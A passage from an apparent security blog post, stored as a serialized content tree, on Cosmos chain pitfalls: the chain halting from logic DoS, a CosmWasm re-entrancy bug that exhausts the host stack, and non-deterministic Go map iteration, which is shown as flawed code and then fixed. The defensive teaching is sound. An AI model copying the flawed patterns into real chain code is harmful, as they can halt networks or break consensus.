loop.",{"type":23,"tag":24,"props":76182,"children":76183},{},[76184],{"type":28,"value":76185},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":24,"props":76187,"children":76188},{},[76189],{"type":28,"value":76190},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":24,"props":76192,"children":76193},{},[76194],{"type":28,"value":76195},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":9072,"props":76197,"children":76199},{"id":76198},"real-world-examples",[76200],{"type":28,"value":76201},"Real-World Examples",{"type":23,"tag":24,"props":76203,"children":76204},{},[76205],{"type":28,"value":76206},"Now, let's examine a few real-world instances.",{"type":23,"tag":24,"props":76208,"children":76209},{},[76210,76212,76218,76219,76225,76227,76233,76235,76241],{"type":28,"value":76211},"In the case of ",{"type":23,"tag":31,"props":76213,"children":76216},{"href":76214,"rel":76215},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[35],[76217],{"type":28,"value":17166},{"type":28,"value":5915},{"type":23,"tag":92,"props":76220,"children":76222},{"className":76221},[],[76223],{"type":28,"value":76224},"CosmWasm",{"type":28,"value":76226}," bug, the helper method ",{"type":23,"tag":92,"props":76228,"children":76230},{"className":76229},[],[76231],{"type":28,"value":76232},"write_to_contract",{"type":28,"value":76234}," negligently calls the untrusted Wasm function ",{"type":23,"tag":92,"props":76236,"children":76238},{"className":76237},[],[76239],{"type":28,"value":76240},"\"allocate\"",{"type":28,"value":720},{"type":23,"tag":24,"props":76243,"children":76244},{},[76245],{"type":23,"tag":31,"props":76246,"children":76249},{"href":76247,"rel":76248},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[35],[76250],{"type":28,"value":76251},"Permalink for snippet",{"type":23,"tag":87,"props":76253,"children":76255},{"code":76254,"language":127,"meta":7,"className":128,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[76256],{"type":23,"tag":92,"props":76257,"children":76258},{"__ignoreMap":7},[76259,76328,76376,76404,76433,76482,76556,76601,76624,76669,76676,76733,76752],{"type":23,"tag":134,"props":76260,"children":76261},{"class":136,"line":137},[76262,76266,76271,76275,76280,76284,76289,76293,76297,76301,76306,76310,76315,76319,76324],{"type":23,"tag":134,"props":76263,"children":76264},{"style":151},[76265],{"type":28,"value":19744},{"type":23,"tag":134,"props":76267,"children":76268},{"style":264},[76269],{"type":28,"value":76270}," write_to_contract",{"type":23,"tag":134,"props":76272,"children":76273},{"style":179},[76274],{"type":28,"value":5262},{"type":23,"tag":134,"props":76276,"children":76277},{"style":597},[76278],{"type":28,"value":76279},"A",{"type":23,"tag":134,"props":76281,"children":76282},{"style":168},[76283],{"type":28,"value":1697},{"type":23,"tag":134,"props":76285,"children":76286},{"style":597},[76287],{"type":28,"value":76288}," BackendApi",{"type":23,"tag":134,"props":76290,"children":76291},{"style":179},[76292],{"type":28,"value":242},{"type":23,"tag":134,"props":76294,"children":76295},{"style":597},[76296],{"type":28,"value":21528},{"type":23,"tag":134,"props":76298,"children":76299},{"style":168},[76300],{"type":28,"value":1697},{"type":23,"tag":134,"props":76302,"children":76303},{"style":597},[76304],{"type":28,"value":76305}," Storage",{"type":23,"tag":134,"props":76307,"children":76308},{"style":179},[76309],{"type":28,"value":242},{"type":23,"tag":134,"props":76311,"children":76312},{"style":597},[76313],{"type":28,"value":76314},"Q",{"type":23,"tag":134,"props":76316,"children":76317},{"style":168},[76318],{"type":28,"value":1697},{"type":23,"tag":134,"props":76320,"children":76321},{"style":597},[76322],{"type":28,"value":76323}," Querier",{"type":23,"tag":134,"props":76325,"children":76326},{"style":179},[76327],{"type":28,"value":6046},{"type":23,"tag":134,"props":76329,"children":76330},{"class":136,"line":147},[76331,76335,76339,76343,76348,76352,76356,76360,76364,76368,76372],{"type":23,"tag":134,"props":76332,"children":76333},{"style":162},[76334],{"type":28,"value":1038},{"type":23,"tag":134,"props":76336,"children":76337},{"style":168},[76338],{"type":28,"value":1697},{"type":23,"tag":134,"props":76340,"children":76341},{"style":168},[76342],{"type":28,"value":6599},{"type":23,"tag":134,"props":76344,"children":76345},{"style":597},[76346],{"type":28,"value":76347},"Environment",{"type":23,"tag":134,"props":76349,"children":76350},{"style":179},[76351],{"type":28,"value":5262},{"type":23,"tag":134,"props":76353,"children":76354},{"style":597},[76355],{"type":28,"value":76279},{"type":23,"tag":134,"props":76357,"children":76358},{"style":179},[76359],{"type":28,"value":242},{"type":23,"tag":134,"props":76361,"children":76362},{"style":597},[76363],{"type":28,"value":21528},{"type":23,"tag":134,"props":76365,"children":76366},{"style":179},[76367],{"type":28,"value":242},{"type":23,"tag":134,"props":76369,"children":76370},{"style":597},[76371],{"type":28,"value":76314},{"type":23,"tag":134,"props":76373,"children":76374},{"style":179},[76375],{"type":28,"value":5595},{"type":23,"tag":134,"props":76377,"children":76378},{"class":136,"line":185},[76379,76384,76388,76392,76396,76400],{"type":23,"tag":134,"props":76380,"children":76381},{"style":162},[76382],{"type":28,"value":76383},"    input",{"type":23,"tag":134,"props":76385,"children":76386},{"style":168},[76387],{"type":28,"value":1697},{"type":23,"tag":134,"props":76389,"children":76390},{"style":168},[76391],{"type":28,"value":6599},{"type":23,"tag":134,"props":76393,"children":76394},{"style":179},[76395],{"type":28,"value":924},{"type":23,"tag":134,"props":76397,"children":76398},{"style":597},[76399],{"type":28,"value":600},{"type":23,"tag":134,"props":76401,"children":76402},{"style":179},[76403],{"type":28,"value":13731},{"type":23,"tag":134,"props":76405,"children":76406},{"class":136,"line":221},[76407,76411,76415,76420,76424,76429],{"type":23,"tag":134,"props":76408,"children":76409},{"style":179},[76410],{"type":28,"value":252},{"type":23,"tag":134,"props":76412,"children":76413},{"style":168},[76414],{"type":28,"value":13225},{"type":23,"tag":134,"props":76416,"children":76417},{"style":597},[76418],{"type":28,"value":76419}," VmResult",{"type":23,"tag":134,"props":76421,"children":76422},{"style":179},[76423],{"type":28,"value":5262},{"type":23,"tag":134,"props":76425,"children":76426},{"style":597},[76427],{"type":28,"value":76428},"u32",{"type":23,"tag":134,"props":76430,"children":76431},{"style":179},[76432],{"type":28,"value":6739},{"type":23,"tag":134,"props":76434,"children":76435},{"class":136,"line":332},[76436,76440,76445,76449,76454,76458,76462,76466,76470,76474,76478],{"type":23,"tag":134,"props":76437,"children":76438},{"style":151},[76439],{"type":28,"value":154},{"type":23,"tag":134,"props":76441,"children":76442},{"style":162},[76443],{"type":28,"value":76444}," out_size",{"type":23,"tag":134,"props":76446,"children":76447},{"style":168},[76448],{"type":28,"value":171},{"type":23,"tag":134,"props":76450,"children":76451},{"style":264},[76452],{"type":28,"value":76453}," to_u32",{"type":23,"tag":134,"props":76455,"children":76456},{"style":179},[76457],{"type":28,"value":272},{"type":23,"tag":134,"props":76459,"children":76460},{"style":162},[76461],{"type":28,"value":7826},{"type":23,"tag":134,"props":76463,"children":76464},{"style":168},[76465],{"type":28,"value":720},{"type":23,"tag":134,"props":76467,"children":76468},{"style":264},[76469],{"type":28,"value":8601},{"type":23,"tag":134,"props":76471,"children":76472},{"style":179},[76473],{"type":28,"value":41464},{"type":23,"tag":134,"props":76475,"children":76476},{"style":168},[76477],{"type":28,"value":324},{"type":23,"tag":134,"props":76479,"children":76480},{"style":179},[76481],{"type":28,"value":182},{"type":23,"tag":134,"props":76483,"children":76484},{"class":136,"line":438},[76485,76489,76493,76497,76501,76505,76510,76514,76518,76522,76526,76530,76535,76539,76543,76548,76552],{"type":23,"tag":134,"props":76486,"children":76487},{"style":151},[76488],{"type":28,"value":154},{"type":23,"tag":134,"props":76490,"children":76491},{"style":162},[76492],{"type":28,"value":8622},{"type":23,"tag":134,"props":76494,"children":76495},{"style":168},[76496],{"type":28,"value":171},{"type":23,"tag":134,"props":76498,"children":76499},{"style":162},[76500],{"type":28,"value":42458},{"type":23,"tag":134,"props":76502,"children":76503},{"style":168},[76504],{"type":28,"value":720},{"type":23,"tag":134,"props":76506,"children":76507},{"style":264},[76508],{"type":28,"value":76509},"call_function1",{"type":23,"tag":134,"props":76511,"children":76512},{"style":179},[76513],{"type":28,"value":272},{"type":23,"tag":134,"props":76515,"children":76516},{"style":1461},[76517],{"type":28,"value":76240},{"type":23,"tag":134,"props":76519,"children":76520},{"style":179},[76521],{"type":28,"value":242},{"type":23,"tag":134,"props":76523,"children":76524},{"style":168},[76525],{"type":28,"value":277},{"type":23,"tag":134,"props":76527,"children":76528},{"style":179},[76529],{"type":28,"value":924},{"type":23,"tag":134,"props":76531,"children":76532},{"style":162},[76533],{"type":28,"value":76534},"out_size",{"type":23,"tag":134,"props":76536,"children":76537},{"style":168},[76538],{"type":28,"value":720},{"type":23,"tag":134,"props":76540,"children":76541},{"style":264},[76542],{"type":28,"value":14354},{"type":23,"tag":134,"props":76544,"children":76545},{"style":179},[76546],{"type":28,"value":76547},"()])",{"type":23,"tag":134,"props":76549,"children":76550},{"style":168},[76551],{"type":28,"value":324},{"type":23,"tag":134,"props":76553,"children":76554},{"style":179},[76555],{"type":28,"value":182},{"type":23,"tag":134,"props":76557,"children":76558},{"class":136,"line":466},[76559,76563,76568,76572,76577,76581,76585,76589,76593,76597],{"type":23,"tag":134,"props":76560,"children":76561},{"style":151},[76562],{"type":28,"value":154},{"type":23,"tag":134,"props":76564,"children":76565},{"style":162},[76566],{"type":28,"value":76567}," target_ptr",{"type":23,"tag":134,"props":76569,"children":76570},{"style":168},[76571],{"type":28,"value":171},{"type":23,"tag":134,"props":76573,"children":76574},{"style":264},[76575],{"type":28,"value":76576}," ref_to_u32",{"type":23,"tag":134,"props":76578,"children":76579},{"style":179},[76580],{"type":28,"value":272},{"type":23,"tag":134,"props":76582,"children":76583},{"style":168},[76584],{"type":28,"value":277},{"type":23,"tag":134,"props":76586,"children":76587},{"style":162},[76588],{"type":28,"value":8544},{"type":23,"tag":134,"props":76590,"children":76591},{"style":179},[76592],{"type":28,"value":296},{"type":23,"tag":134,"props":76594,"children":76595},{"style":168},[76596],{"type":28,"value":324},{"type":23,"tag":134,"props":76598,"children":76599},{"style":179},[76600],{"type":28,"value":182},{"type":23,"tag":134,"props":76602,"children":76603},{"class":136,"line":479},[76604,76608,76612,76616,76620],{"type":23,"tag":134,"props":76605,"children":76606},{"style":189},[76607],{"type":28,"value":11746},{"type":23,"tag":134,"props":76609,"children":76610},{"style":162},[76611],{"type":28,"value":76567},{"type":23,"tag":134,"props":76613,"children":76614},{"style":168},[76615],{"type":28,"value":454},{"type":23,"tag":134,"props":76617,"children":76618},{"style":205},[76619],{"type":28,"value":208},{"type":23,"tag":134,"props":76621,"children":76622},{"style":179},[76623],{"type":28,"value":463},{"type":23,"tag":134,"props":76625,"children":76626},{"class":136,"line":497},[76627,76631,76635,76639,76644,76648,76653,76657,76661,76665],{"type":23,"tag":134,"props":76628,"children":76629},{"style":189},[76630],{"type":28,"value":15214},{"type":23,"tag":134,"props":76632,"children":76633},{"style":597},[76634],{"type":28,"value":15219},{"type":23,"tag":134,"props":76636,"children":76637},{"style":179},[76638],{"type":28,"value":272},{"type":23,"tag":134,"props":76640,"children":76641},{"style":597},[76642],{"type":28,"value":76643},"CommunicationError",{"type":23,"tag":134,"props":76645,"children":76646},{"style":168},[76647],{"type":28,"value":660},{"type":23,"tag":134,"props":76649,"children":76650},{"style":264},[76651],{"type":28,"value":76652},"zero_address",{"type":23,"tag":134,"props":76654,"children":76655},{"style":179},[76656],{"type":28,"value":13347},{"type":23,"tag":134,"props":76658,"children":76659},{"style":168},[76660],{"type":28,"value":720},{"type":23,"tag":134,"props":76662,"children":76663},{"style":264},[76664],{"type":28,"value":14354},{"type":23,"tag":134,"props":76666,"children":76667},{"style":179},[76668],{"type":28,"value":14894},{"type":23,"tag":134,"props":76670,"children":76671},{"class":136,"line":518},[76672],{"type":23,"tag":134,"props":76673,"children":76674},{"style":179},[76675],{"type":28,"value":533},{"type":23,"tag":134,"props":76677,"children":76678},{"class":136,"line":527},[76679,76684,76688,76692,76696,76700,76704,76708,76713,76717,76721,76725,76729],{"type":23,"tag":134,"props":76680,"children":76681},{"style":264},[76682],{"type":28,"value":76683},"    write_region",{"type":23,"tag":134,"props":76685,"children":76686},{"style":179},[76687],{"type":28,"value":272},{"type":23,"tag":134,"props":76689,"children":76690},{"style":168},[76691],{"type":28,"value":277},{"type":23,"tag":134,"props":76693,"children":76694},{"style":162},[76695],{"type":28,"value":35188},{"type":23,"tag":134,"props":76697,"children":76698},{"style":168},[76699],{"type":28,"value":720},{"type":23,"tag":134,"props":76701,"children":76702},{"style":264},[76703],{"type":28,"value":75484},{"type":23,"tag":134,"props":76705,"children":76706},{"style":179},[76707],{"type":28,"value":17849},{"type":23,"tag":134,"props":76709,"children":76710},{"style":162},[76711],{"type":28,"value":76712},"target_ptr",{"type":23,"tag":134,"props":76714,"children":76715},{"style":179},[76716],{"type":28,"value":242},{"type":23,"tag":134,"props":76718,"children":76719},{"style":162},[76720],{"type":28,"value":7826},{"type":23,"tag":134,"props":76722,"children":76723},{"style":179},[76724],{"type":28,"value":296},{"type":23,"tag":134,"props":76726,"children":76727},{"style":168},[76728],{"type":28,"value":324},{"type":23,"tag":134,"props":76730,"children":76731},{"style":179},[76732],{"type":28,"value":182},{"type":23,"tag":134,"props":76734,"children":76735},{"class":136,"line":780},[76736,76740,76744,76748],{"type":23,"tag":134,"props":76737,"children":76738},{"style":597},[76739],{"type":28,"value":13801},{"type":23,"tag":134,"props":76741,"children":76742},{"style":179},[76743],{"type":28,"value":272},{"type":23,"tag":134,"props":76745,"children":76746},{"style":162},[76747],{"type":28,"value":76712},{"type":23,"tag":134,"props":76749,"children":76750},{"style":179},[76751],{"type":28,"value":329},{"type":23,"tag":134,"props":76753,"children":76754},{"class":136,"line":797},[76755],{"type":23,"tag":134,"props":76756,"children":76757},{"style":179},[76758],{"type":28,"value":1098},{"type":23,"tag":24,"props":76760,"children":76761},{},[76762,76764,76770,76772,76777],{"type":28,"value":76763},"As users have complete control over ",{"type":23,"tag":92,"props":76765,"children":76767},{"className":76766},[],[76768],{"type":28,"value":76769},"allocate",{"type":28,"value":76771},", there is a possibility to call back ",{"type":23,"tag":92,"props":76773,"children":76775},{"className":76774},[],[76776],{"type":28,"value":76232},{"type":28,"value":76778}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":24,"props":76780,"children":76781},{},[76782,76784,76791],{"type":28,"value":76783},"Additional real-world examples include ",{"type":23,"tag":31,"props":76785,"children":76788},{"href":76786,"rel":76787},"https://github.com/cosmos/cosmos-sdk/issues/16676",[35],[76789],{"type":28,"value":76790},"not returning proper values for malformed txs",{"type":28,"value":720},{"type":23,"tag":61,"props":76793,"children":76795},{"id":76794},"order-was-the-dream-of-man",[76796],{"type":28,"value":76797},"Order Was the Dream of Man",{"type":23,"tag":24,"props":76799,"children":76800},{},[76801],{"type":28,"value":76802},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":24,"props":76804,"children":76805},{},[76806],{"type":28,"value":76807},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":87,"props":76809,"children":76811},{"code":76810,"language":75676,"meta":7,"className":75677,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[76812],{"type":23,"tag":92,"props":76813,"children":76814},{"__ignoreMap":7},[76815,76848,76855,76884,76921,76950,76971,76983,77020,77028,77035,77042],{"type":23,"tag":134,"props":76816,"children":76817},{"class":136,"line":137},[76818,76822,76827,76831,76835,76839,76843],{"type":23,"tag":134,"props":76819,"children":76820},{"style":151},[76821],{"type":28,"value":32252},{"type":23,"tag":134,"props":76823,"children":76824},{"style":597},[76825],{"type":28,"value":76826}," ObjectMap",{"type":23,"tag":134,"props":76828,"children":76829},{"style":151},[76830],{"type":28,"value":49174},{"type":23,"tag":134,"props":76832,"children":76833},{"style":179},[76834],{"type":28,"value":924},{"type":23,"tag":134,"props":76836,"children":76837},{"style":597},[76838],{"type":28,"value":29160},{"type":23,"tag":134,"props":76840,"children":76841},{"style":179},[76842],{"type":28,"value":14880},{"type":23,"tag":134,"props":76844,"children":76845},{"style":597},[76846],{"type":28,"value":76847},"string\n",{"type":23,"tag":134,"props":76849,"children":76850},{"class":136,"line":147},[76851],{"type":23,"tag":134,"props":76852,"children":76853},{"emptyLinePlaceholder":15},[76854],{"type":28,"value":865},{"type":23,"tag":134,"props":76856,"children":76857},{"class":136,"line":185},[76858,76862,76867,76871,76876,76880],{"type":23,"tag":134,"props":76859,"children":76860},{"style":151},[76861],{"type":28,"value":75812},{"type":23,"tag":134,"props":76863,"children":76864},{"style":264},[76865],{"type":28,"value":76866}," EmitEntries",{"type":23,"tag":134,"props":76868,"children":76869},{"style":179},[76870],{"type":28,"value":272},{"type":23,"tag":134,"props":76872,"children":76873},{"style":162},[76874],{"type":28,"value":76875},"objectMap",{"type":23,"tag":134,"props":76877,"children":76878},{"style":597},[76879],{"type":28,"value":76826},{"type":23,"tag":134,"props":76881,"children":76882},{"style":179},[76883],{"type":28,"value":14272},{"type":23,"tag":134,"props":76885,"children":76886},{"class":136,"line":221},[76887,76891,76895,76899,76903,76907,76912,76917],{"type":23,"tag":134,"props":76888,"children":76889},{"style":189},[76890],{"type":28,"value":192},{"type":23,"tag":134,"props":76892,"children":76893},{"style":162},[76894],{"type":28,"value":5388},{"type":23,"tag":134,"props":76896,"children":76897},{"style":179},[76898],{"type":28,"value":242},{"type":23,"tag":134,"props":76900,"children":76901},{"style":162},[76902],{"type":28,"value":38650},{"type":23,"tag":134,"props":76904,"children":76905},{"style":168},[76906],{"type":28,"value":75928},{"type":23,"tag":134,"props":76908,"children":76909},{"style":189},[76910],{"type":28,"value":76911}," range",{"type":23,"tag":134,"props":76913,"children":76914},{"style":162},[76915],{"type":28,"value":76916}," objectMap",{"type":23,"tag":134,"props":76918,"children":76919},{"style":179},[76920],{"type":28,"value":463},{"type":23,"tag":134,"props":76922,"children":76923},{"class":136,"line":332},[76924,76928,76932,76937,76941,76946],{"type":23,"tag":134,"props":76925,"children":76926},{"style":162},[76927],{"type":28,"value":25677},{"type":23,"tag":134,"props":76929,"children":76930},{"style":179},[76931],{"type":28,"value":720},{"type":23,"tag":134,"props":76933,"children":76934},{"style":162},[76935],{"type":28,"value":76936},"EventManager",{"type":23,"tag":134,"props":76938,"children":76939},{"style":179},[76940],{"type":28,"value":720},{"type":23,"tag":134,"props":76942,"children":76943},{"style":264},[76944],{"type":28,"value":76945},"EmitEvent",{"type":23,"tag":134,"props":76947,"children":76948},{"style":179},[76949],{"type":28,"value":642},{"type":23,"tag":134,"props":76951,"children":76952},{"class":136,"line":438},[76953,76958,76962,76967],{"type":23,"tag":134,"props":76954,"children":76955},{"style":162},[76956],{"type":28,"value":76957},"            sdk",{"type":23,"tag":134,"props":76959,"children":76960},{"style":179},[76961],{"type":28,"value":720},{"type":23,"tag":134,"props":76963,"children":76964},{"style":264},[76965],{"type":28,"value":76966},"NewEvent",{"type":23,"tag":134,"props":76968,"children":76969},{"style":179},[76970],{"type":28,"value":642},{"type":23,"tag":134,"props":76972,"children":76973},{"class":136,"line":466},[76974,76979],{"type":23,"tag":134,"props":76975,"children":76976},{"style":1461},[76977],{"type":28,"value":76978},"                \"MapContext\"",{"type":23,"tag":134,"props":76980,"children":76981},{"style":179},[76982],{"type":28,"value":687},{"type":23,"tag":134,"props":76984,"children":76985},{"class":136,"line":479},[76986,76991,76995,77000,77004,77008,77012,77016],{"type":23,"tag":134,"props":76987,"children":76988},{"style":162},[76989],{"type":28,"value":76990},"                sdk",{"type":23,"tag":134,"props":76992,"children":76993},{"style":179},[76994],{"type":28,"value":720},{"type":23,"tag":134,"props":76996,"children":76997},{"style":264},[76998],{"type":28,"value":76999},"NewAttribute",{"type":23,"tag":134,"props":77001,"children":77002},{"style":179},[77003],{"type":28,"value":272},{"type":23,"tag":134,"props":77005,"children":77006},{"style":162},[77007],{"type":28,"value":71666},{"type":23,"tag":134,"props":77009,"children":77010},{"style":179},[77011],{"type":28,"value":242},{"type":23,"tag":134,"props":77013,"children":77014},{"style":162},[77015],{"type":28,"value":38650},{"type":23,"tag":134,"props":77017,"children":77018},{"style":179},[77019],{"type":28,"value":6194},{"type":23,"tag":134,"props":77021,"children":77022},{"class":136,"line":497},[77023],{"type":23,"tag":134,"props":77024,"children":77025},{"style":179},[77026],{"type":28,"value":77027},"            )\n",{"type":23,"tag":134,"props":77029,"children":77030},{"class":136,"line":518},[77031],{"type":23,"tag":134,"props":77032,"children":77033},{"style":179},[77034],{"type":28,"value":67830},{"type":23,"tag":134,"props":77036,"children":77037},{"class":136,"line":527},[77038],{"type":23,"tag":134,"props":77039,"children":77040},{"style":179},[77041],{"type":28,"value":533},{"type":23,"tag":134,"props":77043,"children":77044},{"class":136,"line":780},[77045],{"type":23,"tag":134,"props":77046,"children":77047},{"style":179},[77048],{"type":28,"value":1098},{"type":23,"tag":24,"props":77050,"children":77051},{},[77052],{"type":28,"value":77053},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":78,"props":77055,"children":77056},{},[77057],{"type":23,"tag":24,"props":77058,"children":77059},{},[77060],{"type":28,"value":77061},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":24,"props":77063,"children":77064},{},[77065,77067,77072],{"type":28,"value":77066},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":92,"props":77068,"children":77070},{"className":77069},[],[77071],{"type":28,"value":66611},{"type":28,"value":77073}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":87,"props":77075,"children":77077},{"code":77076,"language":75676,"meta":7,"className":75677,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[77078],{"type":23,"tag":92,"props":77079,"children":77080},{"__ignoreMap":7},[77081,77112,77119,77146,77166,77193,77229,77236,77265,77272,77307,77334,77353,77364,77408,77415,77422,77429],{"type":23,"tag":134,"props":77082,"children":77083},{"class":136,"line":137},[77084,77088,77092,77096,77100,77104,77108],{"type":23,"tag":134,"props":77085,"children":77086},{"style":151},[77087],{"type":28,"value":32252},{"type":23,"tag":134,"props":77089,"children":77090},{"style":597},[77091],{"type":28,"value":76826},{"type":23,"tag":134,"props":77093,"children":77094},{"style":151},[77095],{"type":28,"value":49174},{"type":23,"tag":134,"props":77097,"children":77098},{"style":179},[77099],{"type":28,"value":924},{"type":23,"tag":134,"props":77101,"children":77102},{"style":597},[77103],{"type":28,"value":29160},{"type":23,"tag":134,"props":77105,"children":77106},{"style":179},[77107],{"type":28,"value":14880},{"type":23,"tag":134,"props":77109,"children":77110},{"style":597},[77111],{"type":28,"value":76847},{"type":23,"tag":134,"props":77113,"children":77114},{"class":136,"line":147},[77115],{"type":23,"tag":134,"props":77116,"children":77117},{"emptyLinePlaceholder":15},[77118],{"type":28,"value":865},{"type":23,"tag":134,"props":77120,"children":77121},{"class":136,"line":185},[77122,77126,77130,77134,77138,77142],{"type":23,"tag":134,"props":77123,"children":77124},{"style":151},[77125],{"type":28,"value":75812},{"type":23,"tag":134,"props":77127,"children":77128},{"style":264},[77129],{"type":28,"value":76866},{"type":23,"tag":134,"props":77131,"children":77132},{"style":179},[77133],{"type":28,"value":272},{"type":23,"tag":134,"props":77135,"children":77136},{"style":162},[77137],{"type":28,"value":76875},{"type":23,"tag":134,"props":77139,"children":77140},{"style":597},[77141],{"type":28,"value":76826},{"type":23,"tag":134,"props":77143,"children":77144},{"style":179},[77145],{"type":28,"value":14272},{"type":23,"tag":134,"props":77147,"children":77148},{"class":136,"line":221},[77149,77154,77158,77162],{"type":23,"tag":134,"props":77150,"children":77151},{"style":151},[77152],{"type":28,"value":77153},"    var",{"type":23,"tag":134,"props":77155,"children":77156},{"style":162},[77157],{"type":28,"value":20858},{"type":23,"tag":134,"props":77159,"children":77160},{"style":179},[77161],{"type":28,"value":75739},{"type":23,"tag":134,"props":77163,"children":77164},{"style":597},[77165],{"type":28,"value":76847},{"type":23,"tag":134,"props":77167,"children":77168},{"class":136,"line":332},[77169,77173,77177,77181,77185,77189],{"type":23,"tag":134,"props":77170,"children":77171},{"style":189},[77172],{"type":28,"value":192},{"type":23,"tag":134,"props":77174,"children":77175},{"style":162},[77176],{"type":28,"value":5388},{"type":23,"tag":134,"props":77178,"children":77179},{"style":168},[77180],{"type":28,"value":75928},{"type":23,"tag":134,"props":77182,"children":77183},{"style":189},[77184],{"type":28,"value":76911},{"type":23,"tag":134,"props":77186,"children":77187},{"style":162},[77188],{"type":28,"value":76916},{"type":23,"tag":134,"props":77190,"children":77191},{"style":179},[77192],{"type":28,"value":463},{"type":23,"tag":134,"props":77194,"children":77195},{"class":136,"line":438},[77196,77200,77204,77209,77213,77217,77221,77225],{"type":23,"tag":134,"props":77197,"children":77198},{"style":162},[77199],{"type":28,"value":24822},{"type":23,"tag":134,"props":77201,"children":77202},{"style":168},[77203],{"type":28,"value":171},{"type":23,"tag":134,"props":77205,"children":77206},{"style":264},[77207],{"type":28,"value":77208}," append",{"type":23,"tag":134,"props":77210,"children":77211},{"style":179},[77212],{"type":28,"value":272},{"type":23,"tag":134,"props":77214,"children":77215},{"style":162},[77216],{"type":28,"value":20461},{"type":23,"tag":134,"props":77218,"children":77219},{"style":179},[77220],{"type":28,"value":242},{"type":23,"tag":134,"props":77222,"children":77223},{"style":162},[77224],{"type":28,"value":71666},{"type":23,"tag":134,"props":77226,"children":77227},{"style":179},[77228],{"type":28,"value":329},{"type":23,"tag":134,"props":77230,"children":77231},{"class":136,"line":466},[77232],{"type":23,"tag":134,"props":77233,"children":77234},{"style":179},[77235],{"type":28,"value":533},{"type":23,"tag":134,"props":77237,"children":77238},{"class":136,"line":479},[77239,77244,77248,77253,77257,77261],{"type":23,"tag":134,"props":77240,"children":77241},{"style":162},[77242],{"type":28,"value":77243},"    sort",{"type":23,"tag":134,"props":77245,"children":77246},{"style":179},[77247],{"type":28,"value":720},{"type":23,"tag":134,"props":77249,"children":77250},{"style":264},[77251],{"type":28,"value":77252},"Strings",{"type":23,"tag":134,"props":77254,"children":77255},{"style":179},[77256],{"type":28,"value":272},{"type":23,"tag":134,"props":77258,"children":77259},{"style":162},[77260],{"type":28,"value":20461},{"type":23,"tag":134,"props":77262,"children":77263},{"style":179},[77264],{"type":28,"value":329},{"type":23,"tag":134,"props":77266,"children":77267},{"class":136,"line":497},[77268],{"type":23,"tag":134,"props":77269,"children":77270},{"emptyLinePlaceholder":15},[77271],{"type":28,"value":865},{"type":23,"tag":134,"props":77273,"children":77274},{"class":136,"line":518},[77275,77279,77283,77287,77291,77295,77299,77303],{"type":23,"tag":134,"props":77276,"children":77277},{"style":189},[77278],{"type":28,"value":192},{"type":23,"tag":134,"props":77280,"children":77281},{"style":162},[77282],{"type":28,"value":197},{"type":23,"tag":134,"props":77284,"children":77285},{"style":179},[77286],{"type":28,"value":242},{"type":23,"tag":134,"props":77288,"children":77289},{"style":162},[77290],{"type":28,"value":71666},{"type":23,"tag":134,"props":77292,"children":77293},{"style":168},[77294],{"type":28,"value":75928},{"type":23,"tag":134,"props":77296,"children":77297},{"style":189},[77298],{"type":28,"value":76911},{"type":23,"tag":134,"props":77300,"children":77301},{"style":162},[77302],{"type":28,"value":20858},{"type":23,"tag":134,"props":77304,"children":77305},{"style":179},[77306],{"type":28,"value":463},{"type":23,"tag":134,"props":77308,"children":77309},{"class":136,"line":527},[77310,77314,77318,77322,77326,77330],{"type":23,"tag":134,"props":77311,"children":77312},{"style":162},[77313],{"type":28,"value":25677},{"type":23,"tag":134,"props":77315,"children":77316},{"style":179},[77317],{"type":28,"value":720},{"type":23,"tag":134,"props":77319,"children":77320},{"style":162},[77321],{"type":28,"value":76936},{"type":23,"tag":134,"props":77323,"children":77324},{"style":179},[77325],{"type":28,"value":720},{"type":23,"tag":134,"props":77327,"children":77328},{"style":264},[77329],{"type":28,"value":76945},{"type":23,"tag":134,"props":77331,"children":77332},{"style":179},[77333],{"type":28,"value":642},{"type":23,"tag":134,"props":77335,"children":77336},{"class":136,"line":780},[77337,77341,77345,77349],{"type":23,"tag":134,"props":77338,"children":77339},{"